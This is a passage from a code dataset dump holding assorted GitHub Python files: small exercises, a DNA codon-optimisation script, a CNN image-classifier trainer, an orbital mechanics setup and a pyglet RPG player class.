number. default: 10')\n\n\ndef main(startnumber,endnumber):\n\t\"\"\"\n\tFunction will print random number list from given range\n\t\"\"\"\n\tordered_list = list(range(startnumber,endnumber+1))\n\tshuffle(ordered_list)\n\tfor item in ordered_list:\n\t\tprint(item)\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"sohel2020/challenge-adjust","sub_path":"challenge-1/random_number.py","file_name":"random_number.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"8162940798","text":"# Name: domains_to_codon_opt_oligos.py\r\n# Author: Connor Ludwig\r\n# Organization: Bintu Lab, Stanford University\r\n# Updated: 10/03/2020\r\n\r\nimport os\r\nimport sys\r\nimport pandas as pd\r\nimport math\r\nfrom dnachisel import *\r\n\r\n# define optimizeOligo function:\r\n# |_ failed = list of oligos that fail codon optimization (input and output - updates)\r\n# |_ ID = tile ID (input)\r\n# |_ dna_sequence = starting DNA sequence to optimize (input; may be output if codon optimization fails)\r\n# |_ GCglobMax = upper limit for enforcement of GC content (input)\r\n# |_ optimizedDNA = codon-opimized DNA sequence (output)\r\n\r\ndef optimizeOligo(failed, ID, dna_sequence, GCglobMax):\r\n\tproblem = DnaOptimizationProblem(\r\n\t\tsequence=dna_sequence,\r\n\t\tconstraints=[\r\n\t\t\tAvoidPattern('BsmBI_site'),\r\n\t\t\tAvoidPattern('7xC'),\r\n\t\t\tAvoidRareCodons(species='h_sapiens', min_frequency=0.1),\r\n\t\t EnforceGCContent(mini=0.25, maxi=GCglobMax),\r\n\t\t EnforceGCContent(mini=0.20, maxi=0.70, window=50),\r\n\t\t EnforceTranslation(),\r\n\t\t AvoidStopCodons()],\r\n\t\tobjectives=[CodonOptimize(species='h_sapiens', method='match_codon_usage')]\r\n\t\t)\r\n\ttry:\r\n\t\tproblem.resolve_constraints()\r\n\texcept:\r\n\t\tif ID not in failed:\r\n\t\t\tfailed.append(ID)\r\n\t\tGCglobMax += 0.01\r\n\t\tprint('++++++++++ GOING UP TO %s ++++++++++' % str(GCglobMax))\r\n\t\toptimizedDNA, failed = optimizeOligo(failed, ID, dna_sequence, GCglobMax)\r\n\t\treturn optimizedDNA, failed\r\n\tproblem.optimize()\r\n\toptimizedDNA = str(problem.sequence)\r\n\treturn optimizedDNA, failed\r\n\r\n\r\n# sys.argv[1] = input csv with unique tiles\r\n# sys.argv[2] = library name\r\n\r\ndf = pd.read_csv(sys.argv[1])\r\nlibName = sys.argv[2]\r\n\r\n# store tile ID and protein sequence column values as lists\r\ntileID = df['Tile ID'].values.tolist()\r\ntileAAseq = df['Tile Sequence'].values.tolist()\r\n\r\n# libName = [sys.argv[2]] * len(tileID)\r\n\r\n# initialize arrays to store information from codon optimization\r\ntileDNAseq = []\r\nfailedList = []\r\n\r\n# for each tile protein sequence, reverse-translate and attempt to codon-optimize with a default max global GC content of 65%\r\n# return the IDs of tiles that only pass codon optimization with relaxed global GC content constraints\r\nfor i in range(len(tileID)):\r\n\tinitialDNAseq = reverse_translate(tileAAseq[i])\r\n\tcoDNAseq, failedList = optimizeOligo(failedList, tileID[i], initialDNAseq, GCglobMax=0.65)\r\n\ttileDNAseq.append(coDNAseq)\r\n\r\n# if any oligos required relaxed global GC content constraints for optimization, report these IDs and save a text file with them\r\nif len(failedList) != 0:\r\n\tprint('Oligos with global GC content > 65%: ', failedList)\r\n\tfailedFile = sys.argv[1][:-4] + '_oligos-globalGC-gt65-IDs.txt'\r\n\twith open(failedFile, 'w') as f:\r\n\t\tfor failedID in failedList:\r\n\t\t\tf.write(\"%s\\n\" % failedID)\r\nelse:\r\n\tprint('All oligos passed codon optimization with specified constraints')\r\n\r\n# add codon-optimized DNA sequence for each oligo and library tag to the dataframe and save\r\ndf['DNA Sequence'] = tileDNAseq\r\ndf['Library'] = libName\r\nsavename = sys.argv[1][:-4] + '_codon-opt-oligos.csv'\r\n\r\ndf.to_csv(savename, index=False)\r\n\r\n","repo_name":"bintulab/Viral_Ludwig_2022","sub_path":"final_April-2023/Library Generation - Command Line Scripts/domains_to_codon_opt_oligos_v2.py","file_name":"domains_to_codon_opt_oligos_v2.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"19177979581","text":"import json\nfrom Data import Data\n\n\ndef output():\n for team in Data.teams:\n with open(f'TeamOutput\\\\{team}.json') as json_file:\n data_team = json.load(json_file)\n json_file.close()\n\n wins = 0\n loses = 0\n ties = 0\n\n for w in range(Data.weeks):\n week = f\"WEEK{w+1}\"\n\n for t in Data.teams:\n if t != team:\n with open(f'TeamOutput\\\\{t}.json') as opp_file:\n opp_data = json.load(opp_file)[week]\n opp_file.close()\n\n for cat in Data.pos_cats:\n if data_team[week][cat] > opp_data[cat]:\n wins = wins + 1\n elif data_team[week][cat] < opp_data[cat]:\n loses = loses + 1\n else:\n ties = ties + 1\n\n for cat in Data.neg_cats:\n if data_team[week][cat] < opp_data[cat]:\n wins = wins + 1\n elif data_team[week][cat] > opp_data[cat]:\n loses = loses + 1\n else:\n ties = ties + 1\n\n record = float('{:.3f}'.format(wins / (wins + loses + ties)))\n print(f\"{team}\\t{wins}\\t{loses}\\t{ties}\\t{record}\")\n","repo_name":"DexRobinson/RepublicBaseball2021","sub_path":"OverallRecord.py","file_name":"OverallRecord.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"39921696770","text":"import tensorflow as tf\r\nfrom tensorflow.keras import models, optimizers, regularizers\r\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Dropout, BatchNormalization\r\nfrom tensorflow.keras.callbacks import ModelCheckpoint, EarlyStopping\r\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.models import load_model, clone_model\r\nimport matplotlib.pyplot as plt \r\n\r\n\r\ndef generate_model():\r\n model = tf.keras.Sequential()\r\n model.add(Conv2D(filters=16,kernel_size=3,padding='same', activation='relu', kernel_regularizer=regularizers.l1_l2(l1=1e-5, l2=1e-4), input_shape=(256,180,3)))\r\n model.add(BatchNormalization())\r\n model.add(MaxPooling2D(pool_size=2))\r\n model.add(Dropout(0.35))\r\n\r\n model.add(Conv2D(filters=32,kernel_size=3,padding='same', activation='relu', kernel_regularizer=regularizers.l1_l2(l1=1e-5, l2=1e-4)))\r\n model.add(BatchNormalization())\r\n model.add(MaxPooling2D(pool_size=2))\r\n model.add(Dropout(0.35))\r\n\r\n model.add(Conv2D(filters=64,kernel_size=3,padding='same', kernel_regularizer=regularizers.l1_l2(l1=1e-5, l2=1e-4), activation='relu'))\r\n model.add(MaxPooling2D(pool_size=2))\r\n model.add(BatchNormalization())\r\n model.add(Dropout(0.35))\r\n\r\n model.add(Flatten())\r\n model.add(Dense(256))\r\n model.add(BatchNormalization())\r\n model.add(Dense(1, activation='sigmoid'))\r\n model.summary()\r\n \r\n return model\r\n\r\n\r\ndef generate_imagedatagen():\r\n train_datagen = ImageDataGenerator(\r\n rescale = 1./255,\r\n rotation_range = 20,\r\n width_shift_range = 0.2,\r\n height_shift_range = 0.2,\r\n shear_range = 0.2,\r\n zoom_range = 0.3,\r\n horizontal_flip = False\r\n )\r\n \r\n test_datagen = ImageDataGenerator(rescale = 1./255)\r\n \r\n return train_datagen, test_datagen\r\n\r\n\r\ndef generate_datagen(train_datagen, test_datagen):\r\n train_generator1 = train_datagen.flow_from_directory('../input/tarros-dataset-final-for-real/DATASET_improved/1_front/train',\r\n target_size = (256,180),\r\n batch_size = 4,\r\n class_mode = \"binary\")\r\n\r\n validation_generator1 = test_datagen.flow_from_directory(\"../input/tarros-dataset-final-for-real/DATASET_improved/1_front/validation\",\r\n target_size = (256,180),\r\n batch_size = 1,\r\n class_mode = \"binary\")\r\n \r\n train_generator2 = train_datagen.flow_from_directory(\"../input/tarros-dataset-final-for-real/DATASET_improved/2_back/train\",\r\n target_size = (256,180),\r\n batch_size = 4,\r\n class_mode = \"binary\")\r\n\r\n validation_generator2 = test_datagen.flow_from_directory(\"../input/tarros-dataset-final-for-real/DATASET_improved/2_back/validation\",\r\n target_size = (256,180),\r\n batch_size = 1,\r\n class_mode = \"binary\")\r\n \r\n train_generator3 = train_datagen.flow_from_directory(\"../input/tarros-dataset-final-for-real/DATASET_improved/3_up/train\",\r\n target_size = (256,180),\r\n batch_size = 4,\r\n class_mode = \"binary\")\r\n\r\n validation_generator3 = test_datagen.flow_from_directory(\"../input/tarros-dataset-final-for-real/DATASET_improved/3_up/validation\",\r\n target_size = (256,180),\r\n batch_size = 1,\r\n class_mode = \"binary\")\r\n \r\n return train_generator1, validation_generator1, train_generator2, validation_generator2, train_generator3, validation_generator3\r\n\r\n\r\ndef generate_checkpoints():\r\n checkpoint1 = ModelCheckpoint('tarros_1.hdf5', monitor = \"val_accuracy\", verbose = 1, save_best_only = True)\r\n checkpoint2 = ModelCheckpoint('tarros_2.hdf5', monitor = \"val_accuracy\", verbose = 1, save_best_only = True)\r\n checkpoint3 = ModelCheckpoint('tarros_3.hdf5', monitor = \"val_accuracy\", verbose = 1, save_best_only = True)\r\n \r\n return checkpoint1, checkpoint2, checkpoint3\r\n\r\n\r\ndef train_model(model, train_generator, validation_generator, checkpoint, epochs):\r\n model.compile(loss = \"binary_crossentropy\",\r\n optimizer = 'rmsprop',\r\n metrics = [\"accuracy\"])\r\n \r\n hist = model.fit(train_generator,\r\n steps_per_epoch = 448//4,\r\n epochs = epochs,\r\n validation_data = validation_generator,\r\n validation_steps = 56//1,\r\n callbacks = [checkpoint])\r\n \r\n return hist\r\n\r\n\r\ndef plot_performance(hist, title):\r\n plt.plot(hist.history[\"accuracy\"], label = \"Train\")\r\n plt.plot(hist.history[\"val_accuracy\"], label = \"Validation\")\r\n plt.title(title)\r\n plt.legend()\r\n plt.show()\r\n plt.savefig(title)\r\n\r\n\r\ndef train_network():\r\n model1 = generate_model()\r\n model2 = clone_model(model1)\r\n model3 = clone_model(model1)\r\n \r\n train_datagen, test_datagen = generate_imagedatagen()\r\n \r\n train_generator1, validation_generator1, train_generator2, validation_generator2, train_generator3, validation_generator3 = generate_datagen(train_datagen, test_datagen)\r\n \r\n checkpoint1, checkpoint2, checkpoint3 = generate_checkpoints()\r\n \r\n hist1 = train_model(model = model1, \r\n train_generator = train_generator1, \r\n validation_generator = validation_generator1, \r\n checkpoint = checkpoint1, \r\n epochs = 70)\r\n \r\n hist2 = train_model(model = model2, \r\n train_generator = train_generator2, \r\n validation_generator = validation_generator2, \r\n checkpoint = checkpoint2, \r\n epochs = 70)\r\n \r\n hist3 = train_model(model = model3, \r\n train_generator = train_generator3, \r\n validation_generator = validation_generator3, \r\n checkpoint = checkpoint3, \r\n epochs = 70)\r\n \r\n plot_performance(hist1, 'front-side performance')\r\n \r\n plot_performance(hist2, 'back-side performance')\r\n \r\n plot_performance(hist3, 'up-side performance')\r\n\r\n\r\ndef test_model(model_name, directory):\r\n test_model = load_model(model_name)\r\n test_datagen = ImageDataGenerator(rescale = 1./255)\r\n test_generator = test_datagen.flow_from_directory(directory,\r\n target_size = (256,180),\r\n batch_size = 1,\r\n class_mode = \"binary\")\r\n \r\n test_model.evaluate(test_generator)\r\n\r\n\r\nif __name__ == '__main__':\r\n train_network()\r\n test_model(model_name = './tarros_1.hdf5', \r\n directory = '../input/tarros-dataset-final-for-real/DATASET_improved/1_front/test')\r\n test_model(model_name = './tarros_2.hdf5', \r\n directory = '../input/tarros-dataset-final-for-real/DATASET_improved/2_back/test')\r\n test_model(model_name = './tarros_3.hdf5', \r\n directory = '../input/tarros-dataset-final-for-real/DATASET_improved/3_up/test')","repo_name":"TheFrancho/Plastic-Containers-CNN-Model","sub_path":"training/network_training.py","file_name":"network_training.py","file_ext":"py","file_size_in_byte":7376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"41739978174","text":"import numpy as np\nimport astropy.units as u\nimport astropy.constants as c\nfrom kick_amuse import *\n\nP = 1. *u.yr # years\ntperi = 0. *u.yr\na = 1. *u.AU #linear distance\ne = 0.5\ninc = 0. *np.pi *u.rad\nomega = 0. *np.pi *u.rad\nanode = 0. *np.pi *u.rad\n\nnum_particles = 1\n\nnum_steps = 600\n\nt_max = (P * 1)\nt_orbit = np.linspace(0,0+t_max.value,num_steps) *u.yr\n\ndelta_v_arr = np.ones(num_particles)*(.01)*u.m/u.s\ntheta_arr = np.ones(num_particles)*(0.5)*np.pi*u.rad\nphi_arr = np.ones(num_particles)*(0.)*np.pi*u.rad\n\nstellar_mass = c.M_sun\nm = c.M_earth\npart_masses = np.ones(num_particles)*(m/1000)\n\nkick_orbit_elements(t_orbit, stellar_mass, part_masses, P, a, e, tperi, inc, anode, omega, delta_v_arr, theta_arr, phi_arr)\n\n#original particle\n# X, Y, Xs, Ys, Zs, Xv, Yv, Zv = kep3d(t_orbit,P,tperi,a,e,inc,omega,anode)\n# save_kep3d(X, Y, Xs, Ys, Zs, Xv, Yv, Zv, filename = 'earthsun_prekick.csv', overwrite=True)\n# \n# # X_0 = Xs.copy()\n# # Y_0 = Ys.copy()\n# # Z_0 = Zs.copy()\n# \n# #kicked particle\n# X, Y, Xs, Ys, Zs, Xv, Yv, Zv = kep3d(t_orbit,P_prime,tperi_prime,a_prime,e_prime,inc_prime, omega_prime, anode_prime)\n# save_kep3d(X, Y, Xs, Ys, Zs, Xv, Yv, Zv, filename = 'earthsun_postkick.csv', overwrite=True)\n# \n# # dist = np.sqrt((X_0[0] - Xs[0])**2 + (Y_0[0] - Ys[0])**2 + (Z_0[0] - Zs[0])**2)\n# # \n# # print(dist)\n# \n# \n# # \n# animate_3d('./earthsuntest/')","repo_name":"catieslaughts/MRP_2022","sub_path":"code/old_code/amusetest/amusetest/amuse_testcoll.py","file_name":"amuse_testcoll.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11443481955","text":"class Solution:\n def findJudge(self, n: int, trust: List[List[int]]) -> int:\n check = []\n suspect = {}\n if n == 1:\n return 1\n elif n == 2 and len(trust) ==1:\n return trust[0][1]\n for i in trust:\n check.append(i[0])\n if i[1] in suspect:\n suspect[i[1]].append(i[0])\n else:\n suspect[i[1]] = [i[0]]\n\n for i in suspect:\n if i not in check and len(suspect[i]) == n-1: \n return i\n return -1","repo_name":"kwilliam777/CodingTestStudy","sub_path":"weekly assingment/week1/k_997.py","file_name":"k_997.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"36125383101","text":"#!/usr/bin/python3\ndef square_matrix_simple(matrix=[]):\n new_matrix = []\n _list = []\n for list in matrix:\n for element in list:\n _list.append(element**2)\n new_matrix.append(_list)\n _list = []\n return new_matrix\n","repo_name":"Letsoken/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/0-square_matrix_simple.py","file_name":"0-square_matrix_simple.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24736133006","text":"'''\nPROBLEM You are given a string that contains left and right parenthesis char-\nacters. Write code to determine whether the parentheses are correctly nested. For\nexample, the strings \"(())\" and \"()()\" are correctly nested but \"(()()\" and \")\n(\" are not.\n'''\ndef has_nested(s):\n my_stack = []\n list_s = list(s)\n for i in range(len(list_s)):\n if list_s[i] == \"(\":\n my_stack.append(list_s[i])\n elif list_s[i] == \")\" and len(my_stack) > 0:\n my_stack.pop()\n else: return False\n\n return len(my_stack) == 0\n\nresult = has_nested(\"(())()\")\nprint(result)\n\n'''\nTime complexity = O(n)\nSpace complexity = O(n)\n'''","repo_name":"kadimasum/BridgePy","sub_path":"stack/nested_parenthesis.py","file_name":"nested_parenthesis.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"10724060197","text":"import random\nimport pyglet\nimport logging\nimport os\nimport glob\nimport math\nfrom functions import *\nfrom actor import Actor, Hand\nfrom stats import StatSystem\nfrom animations import HandAnimAttack, HeadBobbing, Pulse\nfrom load_config import ConfigSectionMap as load_cfg\nimport abilities\nROOT = os.path.dirname(__file__)\nCLASSES_PATH = os.path.join(ROOT, \"classes/\")\n\n\nclass Player(Actor):\n\n def __init__(\n self, game, window=None, x=0, y=0,\n modifiers={'str': 5, 'int': 5, 'cha': 5, 'agi': 5}, mainstat=\"agi\"\n ):\n super().__init__()\n self.game = game\n self.child_objects = []\n self.cast_object = None\n self.x, self.y = x, y\n # self.movement = Movement(self)\n self.lhand_offset = (0, 0)\n self.rhand_offset = (0, 0)\n self.body_offset = (0, 0)\n self.child_objects.append(HeadBobbing(self, duration=0.5, amount=3))\n if window:\n self.windowpos = (window.width // 2, window.height // 2)\n logging.debug(\"Adding sprite to player.\")\n self.window = window\n sprite_x, sprite_y = window.get_windowpos(x, y, precise=True)\n self.sprite = pyglet.sprite.Sprite(\n window.textures[\"player_body\"],\n x=window.width // 2, y=window.height // 2,\n batch=window.batches[\"creatures\"], group=window.fg_group\n )\n self.glow = pyglet.sprite.Sprite(\n window.textures[\"player_body_glow\"],\n x=window.width // 2, y=window.height // 2,\n batch=window.batches[\"creatures\"], group=window.mid_group\n )\n self.glow.color = (255, 255, 255)\n self.glow.opacity = 0\n else:\n logging.info(\"No window specified, not adding sprite to player.\")\n\n self.limbs = dict(\n left=Hand(\n self, (-10, 8), window.textures[\"player_hand\"],\n glow_texture=window.textures[\"player_hand_glow\"],\n glow_color=(20, 160, 120)\n ),\n right=Hand(\n self, (10, 8), window.textures[\"player_hand\"],\n glow_texture=window.textures[\"player_hand_glow\"],\n glow_color=(175, 50, 110)\n )\n )\n self.child_objects.append(Pulse(self.limbs[\"right\"].glow))\n self.child_objects.append(\n Pulse(self.limbs[\"left\"].glow, frequency=0.3)\n )\n self.child_objects.append(\n Pulse(\n self.glow, frequency=2.5,\n max_opacity=0.3, min_scale=0.8, max_scale=1.3\n )\n )\n\n self.action = None\n self.actions = dict(\n sprint=False,\n movement=False,\n targeting=False,\n )\n self.auto_attack_target = None\n self.target = None\n self.modifiers = modifiers\n self.modifiers_items = modifiers\n self.mainstat = mainstat\n self.move_dir = dict(\n left=False,\n right=False,\n up=False,\n down=False\n )\n self.last_dir = \"down\"\n self.head_dir = (1, 0)\n\n self.base_stats = load_cfg(\"PlayerBaseStats\")\n self.base_stats_items = self.base_stats.copy()\n\n self.equipped_items = dict(\n head=None,\n torso=None,\n hands=None,\n feet=None,\n acc_1=None,\n acc_2=None,\n weapon_l=None,\n weapon_r=None,\n weapon_2h=None\n )\n\n self.attack_effects = dict(\n dmg=30,\n dmg_type=\"physical\",\n stun=0,\n slow=0,\n aoe=0,\n aoe_dmg=0,\n dot=None,\n dot_dmg=None,\n penetration=0,\n crit=10\n )\n\n self.stats = StatSystem(self)\n self.stats.set_base_attack(self.attack_effects)\n self.stats.set_base_stats(self.base_stats)\n self.stats.recalculate_items()\n\n self.abilities = dict(\n slot1=abilities.FireBall(self),\n slot2=abilities.SpreadBalls(self),\n slot3=abilities.Blink(self),\n slot4=abilities.Spark(self),\n )\n\n self.hp = self.max_hp = self.base_stats[\"hp\"]\n self.mp = self.max_mp = self.base_stats[\"mp\"]\n self.sta = self.max_sta = self.base_stats[\"sta\"]\n self.xp = 0\n self.attack_cd = 0\n\n self.update_stats()\n self.restore_stats()\n\n def get_windowpos(self):\n return self.windowpos\n\n def award_kill(self, xp=0, gold=0):\n if xp:\n self.xp += xp\n print(self.xp)\n if gold:\n pass\n\n def levelup(self, attribute=None):\n if not attribute: # If no attribute given, assign random upgrade\n attribute = random.choice([\"str\", \"int\", \"agi\"])\n\n # Increases the chosen attribute by 1\n self.stats.increase_stat(attribute)\n logging.info(\n \"Level up, increased attribute \\\"{0}\\\" by 1 to {1}\".format(\n attribute, self.stats.get(attribute)\n )\n )\n self.update_stats()\n self.restore_stats()\n\n def restore_stats(self):\n logging.debug(\"Player hp, mana and stamina restored to full status.\")\n self.hp = self.max_hp\n self.mp = self.max_mp\n self.sta = self.max_sta\n\n def equip_item(self, item):\n if not self.equipped_items[item.slot]:\n self.equipped_items[item.slot] = item\n logging.debug(\n \"Player equipped item {0} in slot {1}.\".format(\n item.get_name(), item.slot\n )\n )\n\n self.stats.recalculate_items()\n\n def unequip_item(self, slot):\n if self.equipped_items[slot]:\n logging.info(\n \"Removed item {0} in slot {1} from player\".format(\n self.equipped_items[slot], slot\n )\n )\n self.equipped_items[slot] = None\n else:\n logging.error(\"No item in slot \\\"{0}\\\"\".format(slot))\n\n self.stats.recalculate_items()\n\n def use_ability(self, ability, target=None):\n a = None\n if ability == 1:\n a = self.abilities[\"slot1\"]\n elif ability == 2:\n a = self.abilities[\"slot2\"]\n elif ability == 3:\n a = self.abilities[\"slot3\"]\n elif ability == 4:\n a = self.abilities[\"slot4\"]\n\n if a:\n logging.debug(\"Player uses ability {}.\".format(a.get_name()))\n if isinstance(a, abilities.ProjectileAbility):\n self.window.set_reticule(\"projectile\")\n self.actions[\"targeting\"] = a\n else:\n self.clear_ability_target()\n a.use(target=target)\n else:\n logging.debug(\"No ability in slot {0}.\".format(ability))\n\n def clear_ability_target(self):\n self.actions[\"targeting\"] = False\n self.window.set_reticule(\"default\")\n\n def set_target(self, target):\n self.target = target\n\n def clear_target(self):\n self.auto_attack_target = None\n self.target = None\n\n def halt_movement(self):\n for key, value in self.move_dir.items():\n self.move_dir[key] = False\n\n def set_move_sprite(self):\n anim = self.window.player_anim_grid\n static = self.window.player_static_img\n d = self.move_dir\n spd = 0.2 * 80 / self.stats.get(\"ms\")\n if d[\"left\"] and d[\"down\"]:\n self.last_dir = \"leftdown\"\n if not self.sprite.image == anim[\"leftdown\"]:\n self.sprite.image = anim[\"leftdown\"]\n elif d[\"right\"] and d[\"down\"]:\n self.last_dir = \"rightdown\"\n if not self.sprite.image == anim[\"rightdown\"]:\n self.sprite.image = anim[\"rightdown\"]\n elif d[\"left\"] and d[\"up\"]:\n self.last_dir = \"leftup\"\n if not self.sprite.image == anim[\"leftup\"]:\n self.sprite.image = anim[\"leftup\"]\n elif d[\"right\"] and d[\"up\"]:\n self.last_dir = \"rightup\"\n if not self.sprite.image == anim[\"rightup\"]:\n self.sprite.image = anim[\"rightup\"]\n elif d[\"up\"] and not d[\"down\"]:\n self.last_dir = \"up\"\n if not self.sprite.image == anim[\"up\"]:\n self.sprite.image = anim[\"up\"]\n elif d[\"down\"] and not d[\"up\"]:\n self.last_dir = \"down\"\n if not self.sprite.image == anim[\"down\"]:\n self.sprite.image = anim[\"down\"]\n elif d[\"left\"] and not d[\"right\"]:\n self.last_dir = \"left\"\n if not self.sprite.image == anim[\"left\"]:\n self.sprite.image = anim[\"left\"]\n elif d[\"right\"] and not d[\"left\"]:\n self.last_dir = \"right\"\n if not self.sprite.image == anim[\"right\"]:\n self.sprite.image = anim[\"right\"]\n else:\n if not self.sprite.image == static[self.last_dir]:\n self.sprite.image = static[self.last_dir]\n\n if isinstance(self.sprite.image, pyglet.image.Animation):\n set_duration(self.sprite.image, spd)\n\n def auto_attack(self, dt):\n t = self.auto_attack_target\n if t not in self.game.enemies: # To prevent having a zombie of target\n t = self.auto_attack_target = None\n if not self.cast_object and self.attack_cd <= 0:\n if t:\n dist = get_dist(self.x, self.y, t.x, t.y)\n attack_range = self.stats.get(\"arng\")\n if dist <= attack_range:\n angle = math.degrees(\n get_angle(self.x, self.y, t.x, t.y)\n )\n anglediff = (\n (self.angle - angle + 180) % 360 - 180\n )\n if anglediff <= 45 and anglediff >= -45:\n self.attack(t)\n self.attack_cd = self.stats.get(\"aspd\")\n else:\n self.attack_cd -= dt\n\n def attack(self, t):\n attack_effects = self.attack_effects.copy()\n attack_effects[\"dmg\"] = self.stats.get(\"dmg\")\n attack_effects[\"crit\"] = self.stats.get(\"crit\")\n result = t.do_effect(attack_effects, origin=self)\n self.attack_fx(t)\n if result[\"crit\"]:\n force = 100\n else:\n force = 50\n vec = ((t.x - self.x), (t.y - self.y))\n force_x = force_y = force\n force_x -= abs(vec[0])\n force_y -= abs(vec[1])\n force_vec = (vec[0] * force_x), (vec[1] * force_y)\n t.body.apply_impulse(force_vec)\n if result[\"crit\"]:\n self.child_objects.append(\n HandAnimAttack(\n self, \"left\", duration=self.stats.get(\"aspd\") / 3\n )\n )\n self.child_objects.append(\n HandAnimAttack(\n self, \"right\", duration=self.stats.get(\"aspd\") / 3\n )\n )\n else:\n hand = random.choice([\"right\", \"left\"])\n self.child_objects.append(\n HandAnimAttack(self, hand, duration=self.stats.get(\"aspd\") / 3)\n )\n\n def critical_strike(self, critchance):\n if random.randrange(1, 100) <= critchance:\n return True\n else:\n return False\n\n def attack_fx(self, t):\n midpoint = get_midpoint((self.x, self.y), (t.x, t.y))\n fx_point = get_midpoint(midpoint, (t.x, t.y))\n apos = self.game.window.get_windowpos(\n *fx_point\n )\n effect = random.choice([\"Melee 1\", \"Melee 2\", \"Melee 5\"])\n self.game.window.animator.spawn_anim(\n effect, apos, scale=0.25,\n rotation=self.angle - 45\n )\n\n def update_stats(self):\n self.stats.update_owner_stats()\n\n def update_regen(self, dt):\n if self.hp < self.max_hp:\n self.hp += self.stats.get(\"hp_regen\") * dt\n if self.mp < self.max_mp:\n self.mp += self.stats.get(\"mp_regen\") * dt\n if self.sta < self.max_sta and not self.actions[\"sprint\"]:\n self.sta += self.stats.get(\"sta_regen\") * dt\n\n def update_degen(self, dt):\n if self.actions[\"sprint\"]:\n if self.sta > 0:\n for d, val in self.move_dir.items():\n if val:\n self.sta -= 15 * dt\n break\n else:\n self.actions[\"sprint\"] = False\n\n def update_body(self):\n angle = get_angle(self.sprite.x, self.sprite.y, *self.window.mouse_pos)\n self.angle = math.degrees(angle)\n for key, limb in self.limbs.items():\n limb.update_pos()\n\n self.sprite.x, self.sprite.y = rotate2d(\n math.radians(self.angle + 90), (\n self.windowpos[0] + self.body_offset[0],\n self.windowpos[1] + self.body_offset[1]\n ),\n self.windowpos\n )\n self.sprite.rotation = self.angle + 90\n self.glow.x, self.glow.y = self.sprite.x, self.sprite.y\n self.glow.rotation = self.sprite.rotation\n\n def die(self):\n pos = self.window.get_windowpos(self.x, self.y, precise=True)\n self.window.animator.spawn_anim(\"Blood Splash\", pos, scale=0.8)\n # self.active_effects = []\n self.limbs = {}\n self.child_objects = []\n self.sprite.delete()\n self.glow.delete()\n self.remove_body()\n self.clear_target()\n self.clear_ability_target()\n self.game.player = None\n # self.sprite.visible = False\n logging.info(\"Player died!\")\n\n def update(self, dt):\n if self.hp <= 0:\n self.die()\n else:\n if self.xp >= 30:\n self.levelup()\n self.xp = 0\n self.movement.speed = self.stats.get(\"ms\")\n old_x, old_y = self.x, self.y\n self.movement.update(dt)\n self.window.update_offset(dx=old_x - self.x, dy=old_y - self.y)\n if self.actions[\"movement\"] and self.cast_object:\n self.cast_object = None\n logging.info(\"Cast interrupted by movement.\")\n self.auto_attack(dt)\n self.update_regen(dt)\n self.update_degen(dt)\n self.update_stats()\n for o in self.child_objects:\n try:\n o.update(dt)\n except Exception as e:\n logging.error(e)\n if self.cast_object:\n self.cast_object.update(dt)\n\n self.update_body()\n\n\nclass Damage:\n\n def __init__(self, owner, target, dmg=0, dmg_type=\"normal\"):\n self.owner, self.target = owner, target\n\n if self.owner.critical_strike(self.stats.get(\"crit\")):\n dmg = int(dmg * 1.5)\n logging.info(\"Critical strike!\")\n\n self.target.hp -= dmg\n if self.target.hp < 0:\n self.target.hp = 0\n logging.debug(\"Target takes {0} damage.\".format(dmg))\n\n def update(self, dt):\n pass\n\n# Reads all python files in the classes directory and executes them,\n# adding the classes to the game\nfor class_file in glob.glob(CLASSES_PATH + '*.py'):\n exec(open(class_file).read(), globals())\n","repo_name":"NiclasEriksen/rpg_procgen","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":15324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8740163771","text":"# Problem 25\n# 1000-digit Fibonacci number\n\nfibs = [1,1]\ndigits = 1000\nfor num in range(100000):\n fibs.append(fibs[num]+fibs[num+1])\n if len(str(fibs[num+2])) == digits:\n break\nprint(f'The {len(fibs)} fib has {digits} digits')","repo_name":"cavandervoort/Project-Euler-001-to-100","sub_path":"Euler_025.py","file_name":"Euler_025.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6458454479","text":"soma = 0 \r\nlista = \"\"\r\nlista2 = \"\"\r\nwhile True: \r\n m, n = map(int, input().split())\r\n if m <= 0 or n <= 0: break\r\n if m<=n:\r\n a = m\r\n b = n\r\n else:\r\n a = n\r\n b = m\r\n for i in range(a,b+1):\r\n lista += str(i)\r\n soma += i\r\n lista = \" \".join(lista)+\" Sum=\"+str(soma)\r\n lista2 += lista+\"\\n\"\r\n lista = \"\"\r\n soma = 0\r\nprint(lista2.rstrip())","repo_name":"Gefft3/ProblemasBeecrowd","sub_path":"beecrowd/1101.py","file_name":"1101.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"40557211986","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport time\n\nfrom lu import *\nfrom choleski import *\nfrom matplotlib import animation\nfrom scipy.sparse import csr_matrix, csc_matrix, diags, linalg as sla\n\nR, 